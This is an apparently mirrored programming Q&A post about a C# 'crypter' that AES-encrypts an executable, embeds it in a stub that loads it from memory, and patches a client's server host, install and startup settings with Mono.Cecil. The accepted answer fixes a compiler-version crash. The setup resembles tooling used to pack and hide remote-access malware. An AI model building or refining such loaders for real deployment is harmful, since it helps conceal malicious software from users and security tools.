更改.net exe不运行(Changed .net exe doesnt run)

编程入门 行业动态 更新时间:2024-10-27 18:27:12
更改.net exe不运行(Changed .net exe doesnt run)

所以我有我的公司项目,我们根据将要使用它的用户更改exe中的具体细节。 为了使这更容易,我们使用Mono.Cecil,然后我们将exe转换为base64字符串并加密它。 然后我们将加密的字符串和密码放在我们编译的存根文件中:

using System; using System.Reflection; using System.Security.Cryptography; using System.Text; namespace ConsoleApp1 { class Program { private static readonly string CData = "[BIN-DATA]"; private static readonly string CDPWS = "[PASSWORD]"; static void Main(string[] args) { Assembly a = Assembly.Load(AESDecrypt(Convert.FromBase64String(CData), CDPWS)); MethodInfo entry = a.EntryPoint; ParameterInfo[] i = entry.GetParameters(); entry.Invoke(null, null); Console.ReadLine(); } public static byte[] AESDecrypt(byte[] input, string Pass) { RijndaelManaged AES = new RijndaelManaged(); byte[] hash = new byte[32]; byte[] temp = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(Pass)); Array.Copy(temp, 0, hash, 0, 16); Array.Copy(temp, 0, hash, 15, 16); AES.Key = hash; AES.Mode = CipherMode.ECB; ICryptoTransform DESDecrypter = AES.CreateDecryptor(); return DESDecrypter.TransformFinalBlock(input, 0, input.Length); } } }

当我们用这个编译它时:

public class ClientCrypter { private readonly string Stub = Properties.Resources.stub; public ClientCrypter(byte[] bytes, BuildOptions options) { var pw = RandomString(25); //Stub = Stub.Replace("\r\n", string.Empty); Stub = Stub.Replace("[BIN-DATA]", Convert.ToBase64String(AESEncrypt(bytes, pw))); Stub = Stub.Replace("[PASSWORD]", pw); CompilerParameters CParams = new CompilerParameters(); CParams.GenerateExecutable = true; CParams.OutputAssembly = options.OutputPath; string _coptions = "/platform:x86 /target:winexe /unsafe"; CParams.CompilerOptions = _coptions; CParams.TreatWarningsAsErrors = false; CParams.ReferencedAssemblies.Add("System.dll"); CParams.ReferencedAssemblies.Add("System.Data.dll"); Dictionary<string, string> ProviderOptions = new Dictionary<string, string>(); ProviderOptions.Add("CompilerVersion", "v2.0"); CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, Stub); if(Results.Errors.Count != 0) { Console.WriteLine("ERROR"); } } private string RandomString(int length) { string pool = "abcdefghijklmnopqrstuvwxyz0123456789"; pool += pool.ToUpper(); string tmp = ""; Random R = new Random(); for (int x = 0; x < length; x++) { tmp += pool[R.Next(0, pool.Length)].ToString(); } return tmp; } private static byte[] AESEncrypt(byte[] input, string Pass) { RijndaelManaged AES = new RijndaelManaged(); byte[] hash = new byte[32]; byte[] temp = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(Pass)); Array.Copy(temp, 0, hash, 0, 16); Array.Copy(temp, 0, hash, 15, 16); AES.Key = hash; AES.Mode = CipherMode.ECB; ICryptoTransform DESEncrypter = AES.CreateEncryptor(); return DESEncrypter.TransformFinalBlock(input, 0, input.Length); } }

当我们运行生成的exe时,它失败并显示以下消息:

Description: Stopped working Problem signature: Problem Event Name: CLR20r3 Problem Signature 01: final-crypt.exe Problem Signature 02: 0.0.0.0 Problem Signature 03: 59b5a7db Problem Signature 04: mscorlib Problem Signature 05: 2.0.0.0 Problem Signature 06: 55f8f105 Problem Signature 07: f52 Problem Signature 08: 7 Problem Signature 09: N3CTRYE2KN3C34SGL4ZQYRBFTE4M13NB OS Version: 6.1.7601.2.1.0.256.4 Locale ID: 1033

但是,当我打开ConsoleApp1项目,应该在Visualstudio中加载exe并从生成的exe提供正确的CData和CDPWS并运行它没有任何问题,尝试以管理员的身份运行它并尝试查看谷歌但我无法找到解决方案。 你能以正确的方式指出我吗?

谢谢

编辑:这是使用Mono.Cecil更改exe(加密前)的类的一部分:

public static class ClientBuilder { public static void Build(BuildOptions options) { // PHASE 1 - Settings string encKey = FileHelper.GetRandomFilename(20), key, authKey; CryptographyHelper.DeriveKeys(options.Password, out key, out authKey); AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("DM_Client.bin"); foreach (var typeDef in asmDef.Modules[0].Types) { if (typeDef.FullName == "DM_Client.Config.Settings") { foreach (var methodDef in typeDef.Methods) { if (methodDef.Name == ".cctor") { int strings = 1, bools = 1; for (int i = 0; i < methodDef.Body.Instructions.Count; i++) { if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string { switch (strings) { case 1: //version methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey); break; case 2: //ip/hostname of server methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey); break; case 3: //user key methodDef.Body.Instructions[i].Operand = key; break; case 4: //authentication key methodDef.Body.Instructions[i].Operand = authKey; break; case 5: //installsub methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey); break; case 6: //installname methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey); break; } strings++; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" || methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool { switch (bools) { case 1: //install methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install)); break; case 2: //startup methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup)); break; } bools++; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int { //reconnectdelay methodDef.Body.Instructions[i].Operand = options.Delay; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte { methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath); } } } } } } ClientCrypter C = new ClientCrypter(File.ReadAllBytes(options.OutputPath), options); } private static OpCode BoolOpcode(bool p) { return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0; } }

编辑:如果你决定downvote,好吧。 但是请花点时间告诉我为什么你决定投票,所以我可以改进。 谢谢

So I have my project for the company, we change specific details in the exe according to the user that will be using it. To make this a lot easier we use Mono.Cecil and we then convert the exe to a base64 string and encrypt it. Then we put the encrypted string and password in a stub file which we compile:

using System; using System.Reflection; using System.Security.Cryptography; using System.Text; namespace ConsoleApp1 { class Program { private static readonly string CData = "[BIN-DATA]"; private static readonly string CDPWS = "[PASSWORD]"; static void Main(string[] args) { Assembly a = Assembly.Load(AESDecrypt(Convert.FromBase64String(CData), CDPWS)); MethodInfo entry = a.EntryPoint; ParameterInfo[] i = entry.GetParameters(); entry.Invoke(null, null); Console.ReadLine(); } public static byte[] AESDecrypt(byte[] input, string Pass) { RijndaelManaged AES = new RijndaelManaged(); byte[] hash = new byte[32]; byte[] temp = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(Pass)); Array.Copy(temp, 0, hash, 0, 16); Array.Copy(temp, 0, hash, 15, 16); AES.Key = hash; AES.Mode = CipherMode.ECB; ICryptoTransform DESDecrypter = AES.CreateDecryptor(); return DESDecrypter.TransformFinalBlock(input, 0, input.Length); } } }

When we compile this using this:

public class ClientCrypter { private readonly string Stub = Properties.Resources.stub; public ClientCrypter(byte[] bytes, BuildOptions options) { var pw = RandomString(25); //Stub = Stub.Replace("\r\n", string.Empty); Stub = Stub.Replace("[BIN-DATA]", Convert.ToBase64String(AESEncrypt(bytes, pw))); Stub = Stub.Replace("[PASSWORD]", pw); CompilerParameters CParams = new CompilerParameters(); CParams.GenerateExecutable = true; CParams.OutputAssembly = options.OutputPath; string _coptions = "/platform:x86 /target:winexe /unsafe"; CParams.CompilerOptions = _coptions; CParams.TreatWarningsAsErrors = false; CParams.ReferencedAssemblies.Add("System.dll"); CParams.ReferencedAssemblies.Add("System.Data.dll"); Dictionary<string, string> ProviderOptions = new Dictionary<string, string>(); ProviderOptions.Add("CompilerVersion", "v2.0"); CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, Stub); if(Results.Errors.Count != 0) { Console.WriteLine("ERROR"); } } private string RandomString(int length) { string pool = "abcdefghijklmnopqrstuvwxyz0123456789"; pool += pool.ToUpper(); string tmp = ""; Random R = new Random(); for (int x = 0; x < length; x++) { tmp += pool[R.Next(0, pool.Length)].ToString(); } return tmp; } private static byte[] AESEncrypt(byte[] input, string Pass) { RijndaelManaged AES = new RijndaelManaged(); byte[] hash = new byte[32]; byte[] temp = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(Pass)); Array.Copy(temp, 0, hash, 0, 16); Array.Copy(temp, 0, hash, 15, 16); AES.Key = hash; AES.Mode = CipherMode.ECB; ICryptoTransform DESEncrypter = AES.CreateEncryptor(); return DESEncrypter.TransformFinalBlock(input, 0, input.Length); } }

and when we run the resulting exe it fails with the message:

Description: Stopped working Problem signature: Problem Event Name: CLR20r3 Problem Signature 01: final-crypt.exe Problem Signature 02: 0.0.0.0 Problem Signature 03: 59b5a7db Problem Signature 04: mscorlib Problem Signature 05: 2.0.0.0 Problem Signature 06: 55f8f105 Problem Signature 07: f52 Problem Signature 08: 7 Problem Signature 09: N3CTRYE2KN3C34SGL4ZQYRBFTE4M13NB OS Version: 6.1.7601.2.1.0.256.4 Locale ID: 1033

But when I open the ConsoleApp1 project that should load the exe in visualstudio and provide the correct CData and CDPWS from a generated exe and run that it runs without any problem, tried to run it as admin and tried to look all over google but I couldnt find a solution for this. Could you point me in the right way?

Thanks

EDIT: Here is part of the class that changes the exe(before encryption) using Mono.Cecil:

public static class ClientBuilder { public static void Build(BuildOptions options) { // PHASE 1 - Settings string encKey = FileHelper.GetRandomFilename(20), key, authKey; CryptographyHelper.DeriveKeys(options.Password, out key, out authKey); AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("DM_Client.bin"); foreach (var typeDef in asmDef.Modules[0].Types) { if (typeDef.FullName == "DM_Client.Config.Settings") { foreach (var methodDef in typeDef.Methods) { if (methodDef.Name == ".cctor") { int strings = 1, bools = 1; for (int i = 0; i < methodDef.Body.Instructions.Count; i++) { if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string { switch (strings) { case 1: //version methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey); break; case 2: //ip/hostname of server methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey); break; case 3: //user key methodDef.Body.Instructions[i].Operand = key; break; case 4: //authentication key methodDef.Body.Instructions[i].Operand = authKey; break; case 5: //installsub methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey); break; case 6: //installname methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey); break; } strings++; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" || methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool { switch (bools) { case 1: //install methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install)); break; case 2: //startup methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup)); break; } bools++; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int { //reconnectdelay methodDef.Body.Instructions[i].Operand = options.Delay; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte { methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath); } } } } } } ClientCrypter C = new ClientCrypter(File.ReadAllBytes(options.OutputPath), options); } private static OpCode BoolOpcode(bool p) { return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0; } }

EDIT: if you decide to downvote, okay. But please take the time to tell me why you decided to downvote, so I can improve. Thank you

最满意答案

所以我决定再看一下如何在ClientCrypter类中编译它。 并且正在考虑不同的编译器选项是否会导致此问题。 并得出结论,删除线:

ProviderOptions.Add("CompilerVersion", "v2.0");

修复了问题,应用程序运行和工作

So I decided to take a look again at how I compile it in the ClientCrypter class. And was thinking if different compiler options could cause this problem. And came to the conclusion that removing the line:

ProviderOptions.Add("CompilerVersion", "v2.0");

Fixed the issue and the application ran and worked

更多推荐

本文发布于:2023-08-07 15:51:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1464781.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:exe   net   Changed   run   doesnt

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!